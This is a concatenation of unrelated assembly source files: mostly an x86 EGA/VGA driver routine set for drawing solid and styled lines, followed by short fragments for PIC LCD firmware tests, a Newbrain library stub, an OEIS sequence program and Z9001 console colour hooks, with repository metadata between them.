include stdcall.inc ;calling convention cmacros
include i386\egavga.inc
include i386\strucs.inc
include i386\driver.inc
include i386\lines.inc
.list
.code
;--------------------------Private-Routine------------------------------;
; vStripSolid0
;
; Draw lines in the 1st half-octant.
;
;-----------------------------------------------------------------------;
cProc vStripSolid0,12,< \
uses esi edi ebx, \
pStrips: ptr STRIPS, \
pls: ptr LINESTATE, \
plStripEnd: ptr >
; Do some initializing:
mov esi, pStrips
push ebp
mov ebp, plStripEnd
mov eax,[esi].ST_lNextScan
mov [ebp],eax ;copy delta
mov eax,[esi].ST_chAndXor
mov bl,ah
mov bh,ah
mov ah,al
mov edi,[esi].ST_pjScreen
add esi,offset ST_alStrips
; ax = and mask
; bx = xor mask
; ecx = pixel count
; dx = temporary register
; esi = strip pointer
; edi = display pointer
; ebp = ends of strips pointer
; [ebp] = delta
mov ecx,[esi]
add esi,4
test edi,1
jnz short sol0_unaligned_start
sol0_aligned_loop:
sub ecx,2
jl short sol0_strip_end_unaligned
je short sol0_strip_end_aligned
mov dx,[edi]
and edx,eax
xor edx,ebx
mov [edi],dx
add edi,2
jmp short sol0_aligned_loop
sol0_strip_end_aligned:
mov dx,[edi]
and edx,eax
xor edx,ebx
mov [edi],dx
add edi,2
add edi,[ebp] ;go to next scan
cmp esi,ebp
jae short sol0_all_done
mov ecx,[esi]
add esi,4
jmp short sol0_aligned_loop
sol0_strip_end_unaligned:
mov dl,[edi] ;do last pixel
and dl,al
xor dl,bl
mov [edi],dl
inc edi
add edi,[ebp] ;go to next scan
cmp esi,ebp
jae short sol0_all_done
mov ecx,[esi] ;do first pixel of next strip
add esi,4
sol0_unaligned_start:
mov dl,[edi]
and dl,al
xor dl,bl
mov [edi],dl
inc edi
dec ecx
jnz short sol0_aligned_loop
; Have to be careful when there is only one pel in the strip and it starts
; on an unaligned address:
add edi,[ebp]
cmp esi,ebp
jae short sol0_all_done
mov ecx,[esi]
add esi,4
jmp short sol0_aligned_loop
sol0_all_done:
pop ebp
mov esi, pStrips
mov [esi].ST_pjScreen,edi
cRet vStripSolid0
endProc vStripSolid0
;--------------------------Private-Routine------------------------------;
; vStripSolid1
;
; Draws lines in the 2nd half-octant.
;
;-----------------------------------------------------------------------;
cProc vStripSolid1,12,< \
uses esi edi ebx, \
pStrips: ptr STRIPS, \
pls: ptr LINESTATE, \
plStripEnd: ptr >
mov esi,pStrips
push ebp
mov ebp,plStripEnd
mov ecx,[esi].ST_lNextScan
inc ecx ; Make delta advance 1 to right
mov eax,[esi].ST_chAndXor
mov edi,[esi].ST_pjScreen
add esi,offset ST_alStrips
; al = and mask
; ah = xor mask
; ebx = pixel count
; ecx = delta
; dl = temporary register
; esi = strip pointer
; edi = memory pointer
; ebp = end of strips pointer
sol1_next_diagonal:
mov ebx,[esi]
add esi, 4
sol1_diagonal_loop:
mov dl,[edi]
and dl,al
xor dl,ah
mov [edi],dl
add edi,ecx
dec ebx
jnz short sol1_diagonal_loop
sub edi,ecx
inc edi
cmp esi,ebp
jb short sol1_next_diagonal
pop ebp
mov esi, pStrips
mov [esi].ST_pjScreen,edi
cRet vStripSolid1
endProc vStripSolid1
;--------------------------Private-Routine------------------------------;
; vStripSolid2
;
; Draws lines in the 3rd half-octant.
;
;-----------------------------------------------------------------------;
cProc vStripSolid2,12,< \
uses esi edi ebx, \
pStrips: ptr STRIPS, \
pls: ptr LINESTATE, \
plStripEnd: ptr >
mov esi,pStrips
push ebp
mov ebp,plStripEnd
mov ecx,[esi].ST_lNextScan
inc ecx ; Make delta advance 1 to right
mov eax,[esi].ST_chAndXor
mov edi,[esi].ST_pjScreen
add esi,offset ST_alStrips
; al = and mask
; ah = xor mask
; ebx = pixel count
; ecx = delta
; dl = temporary register
; esi = strip pointer
; edi = memory pointer
; ebp = end of strips pointer
sol2_next_diagonal:
mov ebx,[esi]
add esi,4
sol2_diagonal_loop:
mov dl,[edi]
and dl,al
xor dl,ah
mov [edi],dl
add edi,ecx
dec ebx
jnz short sol2_diagonal_loop
dec edi
cmp esi,ebp
jb short sol2_next_diagonal
pop ebp
mov esi, pStrips
mov [esi].ST_pjScreen,edi
cRet vStripSolid2
endProc vStripSolid2
;--------------------------Private-Routine------------------------------;
; vStripSolid3
;
; Draws lines in the 4th half-octant.
;
;-----------------------------------------------------------------------;
cProc vStripSolid3,12,< \
uses esi edi ebx, \
pStrips: ptr STRIPS, \
pls: ptr LINESTATE, \
plStripEnd: ptr >
mov esi,pStrips
push ebp
mov ebp,plStripEnd
mov ecx,[esi].ST_lNextScan
mov eax,[esi].ST_chAndXor
mov edi,[esi].ST_pjScreen
add esi,offset ST_alStrips
; al = and mask
; ah = xor mask
; ebx = pixel count
; ecx = delta
; dl = temporary register
; esi = strip pointer
; edi = memory pointer
; ebp = end of strips pointer
sol3_next_vertical:
mov ebx,[esi]
add esi,4
sol3_vertical_loop:
mov dl,[edi]
and dl,al
xor dl,ah
mov [edi],dl
add edi,ecx
dec ebx
jnz short sol3_vertical_loop
inc edi
cmp esi,ebp
jb short sol3_next_vertical
pop ebp
mov esi,pStrips
mov [esi].ST_pjScreen,edi
cRet vStripSolid3
endProc vStripSolid3
;--------------------------Private-Routine------------------------------;
; vStripStyled0
;
; Draws styled lines in the 1st half-octant.
;
;-----------------------------------------------------------------------;
cProc vStripStyled0,12,< \
uses esi edi ebx, \
pStrips: ptr STRIPS, \
pls: ptr LINESTATE, \
plStripEnd: ptr >
local ulNumPixels: dword ;# of pixels in current style
local pspEnd: dword ;pointer to end of style array
local cjMajor: dword ;lNextScan for screen
local cjStyleDelta: dword ;delta from end of style array to start
; al = and mask
; ah = xor mask
; ebx = # of pixels in current strip
; ecx = style pointer
; edx = temporary register
; esi = strips pointer
; edi = memory pointer
mov esi,pStrips
mov eax,[esi].ST_lNextScan
mov cjMajor,eax
mov eax,[esi].ST_pspEnd
mov pspEnd,eax
mov ebx,[esi].ST_pspStart
sub ebx,eax ;compute cjStyleDelta
sub ebx,4 ;make it exclusive
mov cjStyleDelta,ebx
mov edx,[esi].ST_spRemaining
mov ulNumPixels,edx
mov eax,[esi].ST_chAndXor
mov ecx,[esi].ST_psp
mov edx,[esi].ST_bIsGap
mov edi,[esi].ST_pjScreen
add esi,offset ST_alStrips
mov ebx,[esi]
add esi,4
or edx,edx
jz short sty0_output_loop ;if working on a dash, start there
jmp short sty0_skip_loop ;if working on a gap, start there
sty0_prepare_for_output:
add edi,ulNumPixels ;adjust to do remainder of strip
add ecx,4
cmp pspEnd,ecx ;if (ecx == pspEnd + 4)
sbb edx,edx ; then ecx = pspStart
and edx,cjStyleDelta
add ecx,edx
mov ebx,ulNumPixels
push eax
mov eax,[ecx] ;get next style array element
mov ulNumPixels,eax
pop eax
neg ebx
jz short sty0_output_get_new_strip
sty0_output_loop:
mov dl,[edi]
and dl,al
xor dl,ah
mov [edi],dl ;write pixel
inc edi ;move one pixel to right
dec ulNumPixels ;might have to go to next style element
jz short sty0_prepare_for_skip
dec ebx
jnz short sty0_output_loop
sty0_output_get_new_strip:
add edi,cjMajor ;move up one scan
cmp esi,plStripEnd
jae short sty0_output_all_done
mov ebx,[esi] ;get next strip
add esi,4
jmp short sty0_output_loop
sty0_output_all_done:
mov esi,pStrips
mov [esi].ST_pjScreen,edi
mov [esi].ST_bIsGap,0 ;we were working on a dash
mov edi,ulNumPixels
mov [esi].ST_spRemaining,edi
mov [esi].ST_psp,ecx
cRet vStripStyled0
sty0_prepare_for_skip:
add ecx,4
cmp pspEnd,ecx ;if (ecx == pspEnd + 4)
sbb edx,edx ; then ecx = pspStart
and edx,cjStyleDelta
add ecx,edx
dec ebx
push eax
mov eax,[ecx] ;get next style array element
mov ulNumPixels,eax
pop eax
jz short sty0_skip_get_new_strip
sty0_skip_loop:
add edi,ebx ;assume we'll skip entire strip
sub ulNumPixels,ebx ; (we'll correct it if not)
jle short sty0_prepare_for_output
sty0_skip_get_new_strip:
add edi,cjMajor ;move up one scan
cmp esi,plStripEnd
jae short sty0_skip_all_done
mov ebx,[esi] ;get next strip
add esi,4
jmp short sty0_skip_loop
sty0_skip_all_done:
mov esi,pStrips
mov [esi].ST_pjScreen,edi
mov [esi].ST_bIsGap,0ffh ;we were working on a gap
mov edi,ulNumPixels
mov [esi].ST_spRemaining,edi
mov [esi].ST_psp,ecx
cRet vStripStyled0
endProc vStripStyled0
;--------------------------Private-Routine------------------------------;
; vStripStyled123
;
; Draws styled lines in the 2nd, 3rd and 4th half-octants.
;
;-----------------------------------------------------------------------;
cProc vStripStyled123,12,< \
uses esi edi ebx, \
pStrips: ptr STRIPS, \
pls: ptr LINESTATE, \
plStripEnd: ptr >
local ulNumPixels: dword ;# of pixels in current style
local pspEnd: dword ;pointer to end of style array
local cjMajor: dword ;delta to go in major direction
local cjMinor: dword ;delta to go in minor direction
local cjStyleDelta: dword ;delta from end of style array to start
; al = and mask
; ah = xor mask
; ebx = # of pixels in current strip
; ecx = style pointer
; edx = temporary register
; esi = strips pointer
; edi = memory pointer
mov esi,pStrips
; If in half-octant 3, cjMajor = cjDelta and cjMinor = 1
; If in half-octant 2, cjMajor = cjDelta + 1 and cjMinor = -1
; If in half-octant 1, cjMajor = cjDelta + 1 and cjMinor = -cjDelta
mov eax,[esi].ST_lNextScan
mov ebx,[esi].ST_flFlips
test ebx,FL_FLIP_HALF
jz short sty3_halfoctant_3
inc eax
mov cjMajor,eax
mov cjMinor,-1
test ebx,FL_FLIP_D
jnz short sty3_done_major_minor_comp
neg eax
inc eax
mov cjMinor,eax
jmp short sty3_done_major_minor_comp
sty3_halfoctant_3:
mov cjMajor,eax
mov cjMinor,1
sty3_done_major_minor_comp:
mov eax,[esi].ST_pspEnd
mov pspEnd,eax
mov ebx,[esi].ST_pspStart
sub ebx,eax ;compute cjStyleDelta
sub ebx,4 ;make it exclusive
mov cjStyleDelta,ebx
mov edx,[esi].ST_spRemaining
mov ulNumPixels,edx
mov eax,[esi].ST_chAndXor
mov ecx,[esi].ST_psp
mov edx,[esi].ST_bIsGap
mov edi,[esi].ST_pjScreen
add esi,offset ST_alStrips
mov ebx,[esi]
add esi,4
or edx,edx
jz short sty3_output_loop ;if working on a dash, start there
jmp short sty3_skip_loop ;if working on a gap, start there
sty3_prepare_for_output:
add ecx,4
cmp pspEnd,ecx ;if (ecx == pspEnd + 4)
sbb edx,edx ; then ecx = pspStart
and edx,cjStyleDelta
add ecx,edx
mov ebx,ulNumPixels
push eax
mov eax,[ecx] ;get next style array element
mov ulNumPixels,eax
pop eax
neg ebx ;adjust to do remainder of strip
jz short sty3_output_get_new_strip
sty3_output_loop:
mov dl,[edi]
and dl,al
xor dl,ah
mov [edi],dl ;write pixel
add edi,cjMajor ;move to next scan
dec ulNumPixels ;might have to go to next style element
jz short sty3_prepare_for_skip
dec ebx
jnz short sty3_output_loop
sty3_output_get_new_strip:
add edi,cjMinor ;move one pixel in minor direction
cmp esi,plStripEnd
jae short sty3_output_all_done
mov ebx,[esi] ;get next strip
add esi,4
jmp short sty3_output_loop
sty3_output_all_done:
mov esi,pStrips
mov [esi].ST_pjScreen,edi
mov [esi].ST_bIsGap,0 ;we were working on a dash
mov edi,ulNumPixels
mov [esi].ST_spRemaining,edi
mov [esi].ST_psp,ecx
cRet vStripStyled123
sty3_prepare_for_skip:
add ecx,4
cmp pspEnd,ecx ;if (ecx == pspEnd + 4)
sbb edx,edx ; then ecx = pspStart
and edx,cjStyleDelta
add ecx,edx
dec ebx
push eax
mov eax,[ecx] ;get next style array element
mov ulNumPixels,eax
pop eax
jz short sty3_skip_get_new_strip
sty3_skip_loop:
; compute min(left in strip, left in style)
sub ulNumPixels,ebx ;ulNumPixels = # style - # strip
sbb edx,edx
and edx,ulNumPixels
add ebx,edx ;ebx = min(pels left in strip,
; pels left in style)
mov edx,cjMajor
imul edx,ebx
add edi,edx ;adjust our pointer
cmp ulNumPixels,0
jle sty3_prepare_for_output
sty3_skip_get_new_strip:
add edi,cjMinor ;move one pixel in minor direction
cmp esi,plStripEnd
jae short sty3_skip_all_done
mov ebx,[esi] ;get next strip
add esi,4
jmp short sty3_skip_loop
sty3_skip_all_done:
mov esi,pStrips
mov [esi].ST_pjScreen,edi
mov [esi].ST_bIsGap,0ffh ;we were working on a gap
mov edi,ulNumPixels
mov [esi].ST_spRemaining,edi
mov [esi].ST_psp,ecx
cRet vStripStyled123
endProc vStripStyled123
;--------------------------Private-Routine------------------------------;
; vStripSolidSet0
;
; Draw lines in the 1st half-octant.
;
;-----------------------------------------------------------------------;
cProc vStripSolidSet0,12,< \
uses esi edi ebx, \
pStrips: ptr STRIPS, \
pls: ptr LINESTATE, \
plStripEnd: ptr >
; Do some initializing:
mov esi, pStrips
push ebp
mov ebp, plStripEnd
mov eax,[esi].ST_lNextScan
mov [ebp],eax ;copy delta
mov eax,[esi].ST_chAndXor
mov bl,ah
mov bh,ah
mov ah,al
mov edi,[esi].ST_pjScreen
add esi,offset ST_alStrips
; ax = and mask
; bx = xor mask
; ecx = pixel count
; dx = temporary register
; esi = strip pointer
; edi = display pointer
; ebp = ends of strips pointer
; [ebp] = delta
mov ecx,[esi]
add esi,4
test edi,1
jnz short sol0s_unaligned_start
sol0s_aligned_loop:
sub ecx,2
jl short sol0s_strip_end_unaligned
je short sol0s_strip_end_aligned
mov [edi],bx
add edi,2
jmp short sol0s_aligned_loop
sol0s_strip_end_aligned:
mov [edi],bx
add edi,2
add edi,[ebp] ;go to next scan
cmp esi,ebp
jae short sol0s_all_done
mov ecx,[esi]
add esi,4
jmp short sol0s_aligned_loop
sol0s_strip_end_unaligned:
mov [edi],bl ;do last pixel
inc edi
add edi,[ebp] ;go to next scan
cmp esi,ebp
jae short sol0s_all_done
mov ecx,[esi] ;do first pixel of next strip
add esi,4
sol0s_unaligned_start:
mov [edi],bl
inc edi
dec ecx
jnz short sol0s_aligned_loop
; Have to be careful when there is only one pel in the strip and it starts
; on an unaligned address:
add edi,[ebp]
cmp esi,ebp
jae short sol0s_all_done
mov ecx,[esi]
add esi,4
jmp short sol0s_aligned_loop
sol0s_all_done:
pop ebp
mov esi, pStrips
mov [esi].ST_pjScreen,edi
cRet vStripSolidSet0
endProc vStripSolidSet0
;--------------------------Private-Routine------------------------------;
; vStripSolidSet1
;
; Draws lines in the 2nd half-octant.
;
;-----------------------------------------------------------------------;
cProc vStripSolidSet1,12,< \
uses esi edi ebx, \
pStrips: ptr STRIPS, \
pls: ptr LINESTATE, \
plStripEnd: ptr >
mov esi,pStrips
push ebp
mov ebp,plStripEnd
mov ecx,[esi].ST_lNextScan
inc ecx ; Make delta advance 1 to right
mov eax,[esi].ST_chAndXor
mov edi,[esi].ST_pjScreen
add esi,offset ST_alStrips
; al = and mask
; ah = xor mask
; ebx = pixel count
; ecx = delta
; dl = temporary register
; esi = strip pointer
; edi = memory pointer
; ebp = end of strips pointer
sol1s_next_diagonal:
mov ebx,[esi]
add esi, 4
sol1s_diagonal_loop:
mov [edi],ah
add edi,ecx
dec ebx
jnz short sol1s_diagonal_loop
sub edi,ecx
inc edi
cmp esi,ebp
jb short sol1s_next_diagonal
pop ebp
mov esi, pStrips
mov [esi].ST_pjScreen,edi
cRet vStripSolidSet1
endProc vStripSolidSet1
;--------------------------Private-Routine------------------------------;
; vStripSolidSet2
;
; Draws lines in the 3rd half-octant.
;
;-----------------------------------------------------------------------;
cProc vStripSolidSet2,12,< \
uses esi edi ebx, \
pStrips: ptr STRIPS, \
pls: ptr LINESTATE, \
plStripEnd: ptr >
mov esi,pStrips
push ebp
mov ebp,plStripEnd
mov ecx,[esi].ST_lNextScan
inc ecx ; Make delta advance 1 to right
mov eax,[esi].ST_chAndXor
mov edi,[esi].ST_pjScreen
add esi,offset ST_alStrips
; al = and mask
; ah = xor mask
; ebx = pixel count
; ecx = delta
; dl = temporary register
; esi = strip pointer
; edi = memory pointer
; ebp = end of strips pointer
sol2s_next_diagonal:
mov ebx,[esi]
add esi,4
sol2s_diagonal_loop:
mov [edi],ah
add edi,ecx
dec ebx
jnz short sol2s_diagonal_loop
dec edi
cmp esi,ebp
jb short sol2s_next_diagonal
pop ebp
mov esi, pStrips
mov [esi].ST_pjScreen,edi
cRet vStripSolidSet2
endProc vStripSolidSet2
;--------------------------Private-Routine------------------------------;
; vStripSolidSet3
;
; Draws lines in the 4th half-octant.
;
;-----------------------------------------------------------------------;
cProc vStripSolidSet3,12,< \
uses esi edi ebx, \
pStrips: ptr STRIPS, \
pls: ptr LINESTATE, \
plStripEnd: ptr >
mov esi,pStrips
push ebp
mov ebp,plStripEnd
mov ecx,[esi].ST_lNextScan
mov eax,[esi].ST_chAndXor
mov edi,[esi].ST_pjScreen
add esi,offset ST_alStrips
; al = and mask
; ah = xor mask
; ebx = pixel count
; ecx = delta
; dl = temporary register
; esi = strip pointer
; edi = memory pointer
; ebp = end of strips pointer
sol3s_next_vertical:
mov ebx,[esi]
add esi,4
sol3s_vertical_loop:
mov [edi],ah
add edi,ecx
dec ebx
jnz short sol3s_vertical_loop
inc edi
cmp esi,ebp
jb short sol3s_next_vertical
pop ebp
mov esi,pStrips
mov [esi].ST_pjScreen,edi
cRet vStripSolidSet3
endProc vStripSolidSet3
;--------------------------Private-Routine------------------------------;
; vStripStyledSet0
;
; Draws styled lines in the 1st half-octant.
;
;-----------------------------------------------------------------------;
cProc vStripStyledSet0,12,< \
uses esi edi ebx, \
pStrips: ptr STRIPS, \
pls: ptr LINESTATE, \
plStripEnd: ptr >
local ulNumPixels: dword ;# of pixels in current style
local pspEnd: dword ;pointer to end of style array
local cjMajor: dword ;lNextScan for screen
local cjStyleDelta: dword ;delta from end of style array to start
; al = and mask
; ah = xor mask
; ebx = # of pixels in current strip
; ecx = style pointer
; edx = temporary register
; esi = strips pointer
; edi = memory pointer
mov esi,pStrips
mov eax,[esi].ST_lNextScan
mov cjMajor,eax
mov eax,[esi].ST_pspEnd
mov pspEnd,eax
mov ebx,[esi].ST_pspStart
sub ebx,eax ;compute cjStyleDelta
sub ebx,4 ;make it exclusive
mov cjStyleDelta,ebx
mov edx,[esi].ST_spRemaining
mov ulNumPixels,edx
mov eax,[esi].ST_chAndXor
mov ecx,[esi].ST_psp
mov edx,[esi].ST_bIsGap
mov edi,[esi].ST_pjScreen
add esi,offset ST_alStrips
mov ebx,[esi]
add esi,4
or edx,edx
jz short sty0s_output_loop ;if working on a dash, start there
jmp short sty0s_skip_loop ;if working on a gap, start there
sty0s_prepare_for_output:
add edi,ulNumPixels ;adjust to do remainder of strip
add ecx,4
cmp pspEnd,ecx ;if (ecx == pspEnd + 4)
sbb edx,edx ; then ecx = pspStart
and edx,cjStyleDelta
add ecx,edx
mov ebx,ulNumPixels
push eax
mov eax,[ecx] ;get next style array element
mov ulNumPixels,eax
pop eax
neg ebx ;see if we also need a new strip
jz short sty0s_output_get_new_strip
sty0s_output_loop:
mov [edi],ah ;write pixel
inc edi ;move one pixel to right
dec ulNumPixels ;might have to go to next style element
jz short sty0s_prepare_for_skip
dec ebx
jnz short sty0s_output_loop
sty0s_output_get_new_strip:
add edi,cjMajor ;move up one scan
cmp esi,plStripEnd
jae short sty0s_output_all_done
mov ebx,[esi] ;get next strip
add esi,4
jmp short sty0s_output_loop
sty0s_output_all_done:
mov esi,pStrips
mov [esi].ST_pjScreen,edi
mov [esi].ST_bIsGap,0 ;we were working on a dash
mov edi,ulNumPixels
mov [esi].ST_spRemaining,edi
mov [esi].ST_psp,ecx
cRet vStripStyledSet0
sty0s_prepare_for_skip:
add ecx,4
cmp pspEnd,ecx ;if (ecx == pspEnd + 4)
sbb edx,edx ; then ecx = pspStart
and edx,cjStyleDelta
add ecx,edx
dec ebx
push eax
mov eax,[ecx] ;get next style array element
mov ulNumPixels,eax
pop eax
jz short sty0s_skip_get_new_strip
sty0s_skip_loop:
add edi,ebx ;assume we'll skip entire strip
sub ulNumPixels,ebx ; (we'll correct it if not)
jle short sty0s_prepare_for_output
sty0s_skip_get_new_strip:
add edi,cjMajor ;move up one scan
cmp esi,plStripEnd
jae short sty0s_skip_all_done
mov ebx,[esi] ;get next strip
add esi,4
jmp short sty0s_skip_loop
sty0s_skip_all_done:
mov esi,pStrips
mov [esi].ST_pjScreen,edi
mov [esi].ST_bIsGap,0ffh ;we were working on a gap
mov edi,ulNumPixels
mov [esi].ST_spRemaining,edi
mov [esi].ST_psp,ecx
cRet vStripStyledSet0
endProc vStripStyledSet0
;--------------------------Private-Routine------------------------------;
; vStripStyledSet123
;
; Draws styled lines in the 2nd, 3rd and 4th half-octants.
;
;-----------------------------------------------------------------------;
cProc vStripStyledSet123,12,< \
uses esi edi ebx, \
pStrips: ptr STRIPS, \
pls: ptr LINESTATE, \
plStripEnd: ptr >
local ulNumPixels: dword ;# of pixels in current style
local pspEnd: dword ;pointer to end of style array
local cjMajor: dword ;delta to go in major direction
local cjMinor: dword ;delta to go in minor direction
local cjStyleDelta: dword ;delta from end of style array to start
; al = and mask
; ah = xor mask
; ebx = # of pixels in current strip
; ecx = style pointer
; edx = temporary register
; esi = strips pointer
; edi = memory pointer
mov esi,pStrips
; If in half-octant 3, cjMajor = cjDelta and cjMinor = 1
; If in half-octant 2, cjMajor = cjDelta + 1 and cjMinor = -1
; If in half-octant 1, cjMajor = cjDelta + 1 and cjMinor = -cjDelta
mov eax,[esi].ST_lNextScan
mov ebx,[esi].ST_flFlips
test ebx,FL_FLIP_HALF
jz short sty3s_halfoctant_3
inc eax
mov cjMajor,eax
mov cjMinor,-1
test ebx,FL_FLIP_D
jnz short sty3s_done_major_minor_comp
neg eax
inc eax
mov cjMinor,eax
jmp short sty3s_done_major_minor_comp
sty3s_halfoctant_3:
mov cjMajor,eax
mov cjMinor,1
sty3s_done_major_minor_comp:
mov eax,[esi].ST_pspEnd
mov pspEnd,eax
mov ebx,[esi].ST_pspStart
sub ebx,eax ;compute cjStyleDelta
sub ebx,4 ;make it exclusive
mov cjStyleDelta,ebx
mov edx,[esi].ST_spRemaining
mov ulNumPixels,edx
mov eax,[esi].ST_chAndXor
mov ecx,[esi].ST_psp
mov edx,[esi].ST_bIsGap
mov edi,[esi].ST_pjScreen
add esi,offset ST_alStrips
mov ebx,[esi]
add esi,4
or edx,edx
jz short sty3s_output_loop ;if working on a dash, start there
jmp short sty3s_skip_loop ;if working on a gap, start there
sty3s_prepare_for_output:
add ecx,4
cmp pspEnd,ecx ;if (ecx == pspEnd + 4)
sbb edx,edx ; then ecx = pspStart
and edx,cjStyleDelta
add ecx,edx
mov ebx,ulNumPixels
push eax
mov eax,[ecx] ;get next style array element
mov ulNumPixels,eax
pop eax
neg ebx ;adjust to do remainder of strip
jz short sty3s_output_get_new_strip
sty3s_output_loop:
mov [edi],ah ;write pixel
add edi,cjMajor ;move to next scan
dec ulNumPixels ;might have to go to next style element
jz short sty3s_prepare_for_skip
dec ebx
jnz short sty3s_output_loop
sty3s_output_get_new_strip:
add edi,cjMinor ;move in minor direction
cmp esi,plStripEnd
jae short sty3s_output_all_done
mov ebx,[esi] ;get next strip
add esi,4
jmp short sty3s_output_loop
sty3s_output_all_done:
mov esi,pStrips
mov [esi].ST_pjScreen,edi
mov [esi].ST_bIsGap,0 ;we were working on a dash
mov edi,ulNumPixels
mov [esi].ST_spRemaining,edi
mov [esi].ST_psp,ecx
cRet vStripStyledSet123
sty3s_prepare_for_skip:
add ecx,4
cmp pspEnd,ecx ;if (ecx == pspEnd + 4)
sbb edx,edx ; then ecx = pspStart
and edx,cjStyleDelta
add ecx,edx
dec ebx
push eax
mov eax,[ecx] ;get next style array element
mov ulNumPixels,eax
pop eax
jz short sty3s_skip_get_new_strip
sty3s_skip_loop:
; compute min(left in strip, left in style)
sub ulNumPixels,ebx ;ulNumPixels = # style - # strip
sbb edx,edx
and edx,ulNumPixels
add ebx,edx ;ebx = min(pels left in strip,
; pels left in style)
mov edx,cjMajor
imul edx,ebx
add edi,edx ;adjust our pointer
cmp ulNumPixels,0
jle sty3s_prepare_for_output
sty3s_skip_get_new_strip:
add edi,cjMinor ;move in minor direction
cmp esi,plStripEnd
jae short sty3s_skip_all_done
mov ebx,[esi] ;get next strip
add esi,4
jmp short sty3s_skip_loop
sty3s_skip_all_done:
mov esi,pStrips
mov [esi].ST_pjScreen,edi
mov [esi].ST_bIsGap,0ffh ;we were working on a gap
mov edi,ulNumPixels
mov [esi].ST_spRemaining,edi
mov [esi].ST_psp,ecx
cRet vStripStyledSet123
endProc vStripStyledSet123
end
| 30.132773 | 80 | 0.470104 |
08596eab76619893f4a8ca83a232f449af11a836 | 482 | asm | Assembly | src/firmware-tests/Platform/Lcd/EnableDisable/StateAfterEnabledSecondTimeTest.asm | pete-restall/Cluck2Sesame-Prototype | 99119b6748847a7b6aeadc4bee42cbed726f7fdc | [
"MIT"
] | 1 | 2019-12-12T09:07:08.000Z | 2019-12-12T09:07:08.000Z | src/firmware-tests/Platform/Lcd/EnableDisable/StateAfterEnabledSecondTimeTest.asm | pete-restall/Cluck2Sesame-Prototype | 99119b6748847a7b6aeadc4bee42cbed726f7fdc | [
"MIT"
] | null | null | null | src/firmware-tests/Platform/Lcd/EnableDisable/StateAfterEnabledSecondTimeTest.asm | pete-restall/Cluck2Sesame-Prototype | 99119b6748847a7b6aeadc4bee42cbed726f7fdc | [
"MIT"
] | null | null | null | #include "Platform.inc"
#include "FarCalls.inc"
#include "Lcd.inc"
#include "../LcdStates.inc"
#include "TestFixture.inc"
radix decimal
udata
expectedState res 1
StateAfterEnabledSecondTimeTest code
global testArrange
testArrange:
fcall initialiseLcd
fcall enableLcd
banksel TMR0
movf TMR0, W
banksel expectedState
movwf expectedState
banksel lcdState
movwf lcdState
testAct:
fcall enableLcd
testAssert:
.assertStateIsRegister expectedState
return
end
| 13.388889 | 37 | 0.784232 |
a5a3cf1d49174bb59ad1079b333f1a9f7e1302da | 260 | asm | Assembly | libsrc/fcntl/newbrain/fdtell.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/fcntl/newbrain/fdtell.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/fcntl/newbrain/fdtell.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | ;
; Grundy Newbrain Specific libraries
;
; Stefano Bodrato - 30/05/2007
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
;
;
;
; $Id: fdtell.asm,v 1.3 2015/01/22 12:09:57 stefano Exp $
PUBLIC fdtell
.fdtell
ld hl,-1
ld d,h
ld e,l
ret
| 11.818182 | 61 | 0.480769 |
da72d8d28f15d53d5917b4adfedb7786c317e105 | 300 | asm | Assembly | programs/oeis/173/A173857.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/173/A173857.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/173/A173857.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A173857: Expansion of 3/2 in base phi.
; 1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1
sub $0,1
mod $0,3
pow $0,2
cmp $0,1
mov $1,$0
| 33.333333 | 211 | 0.53 |
357e23e7c79c1eee3e4e9f35be792d999f1f91b5 | 1,274 | asm | Assembly | libsrc/target/z9001/stdio/generic_console_MODE1.asm | dikdom/z88dk | 40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0 | [
"ClArtistic"
] | 1 | 2022-03-08T11:55:58.000Z | 2022-03-08T11:55:58.000Z | libsrc/target/z9001/stdio/generic_console_MODE1.asm | dikdom/z88dk | 40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0 | [
"ClArtistic"
] | 2 | 2022-03-20T22:17:35.000Z | 2022-03-24T16:10:00.000Z | libsrc/target/z9001/stdio/generic_console_MODE1.asm | jorgegv/z88dk | 127130cf11f9ff268ba53e308138b12d2b9be90a | [
"ClArtistic"
] | null | null | null |
PUBLIC cls_MODE1
PUBLIC printc_MODE1
PUBLIC vpeek_MODE1
PUBLIC scrollup_MODE1
EXTERN __krt_cls
EXTERN __krt_printc
EXTERN __krt_vpeek
EXTERN __krt_scrollup
defc cls_MODE1 = __krt_cls
defc printc_MODE1 = __krt_printc
defc vpeek_MODE1 = __krt_vpeek
defc scrollup_MODE1 = __krt_scrollup
EXTERN __z9001_attr
PUBLIC __krt_hook_cls_colour
PUBLIC __krt_hook_set_colour
PUBLIC __krt_hook_scrollup_colour
EXTERN KRT_ADDRESS
EXTERN KRT_ROWS
EXTERN KRT_COLUMNS
; Set colour
; Entry: hl = screen address
__krt_hook_set_colour:
dec h
dec h
dec h
dec h
ld a,(__z9001_attr)
ld (hl),a
ret
__krt_hook_cls_colour:
ld hl,KRT_ADDRESS - 1024
ld de,KRT_ADDRESS - 1024 + 1
ld bc,+(KRT_COLUMNS * KRT_ROWS) - 1
ld a,(__z9001_attr)
ld (hl),a
ldir
ret
__krt_hook_scrollup_colour:
ld hl,KRT_ADDRESS - 1024 + KRT_COLUMNS
ld de,KRT_ADDRESS - 1024
ld bc,+(KRT_COLUMNS * (KRT_ROWS-1)) - 1
ldir
ex de,hl
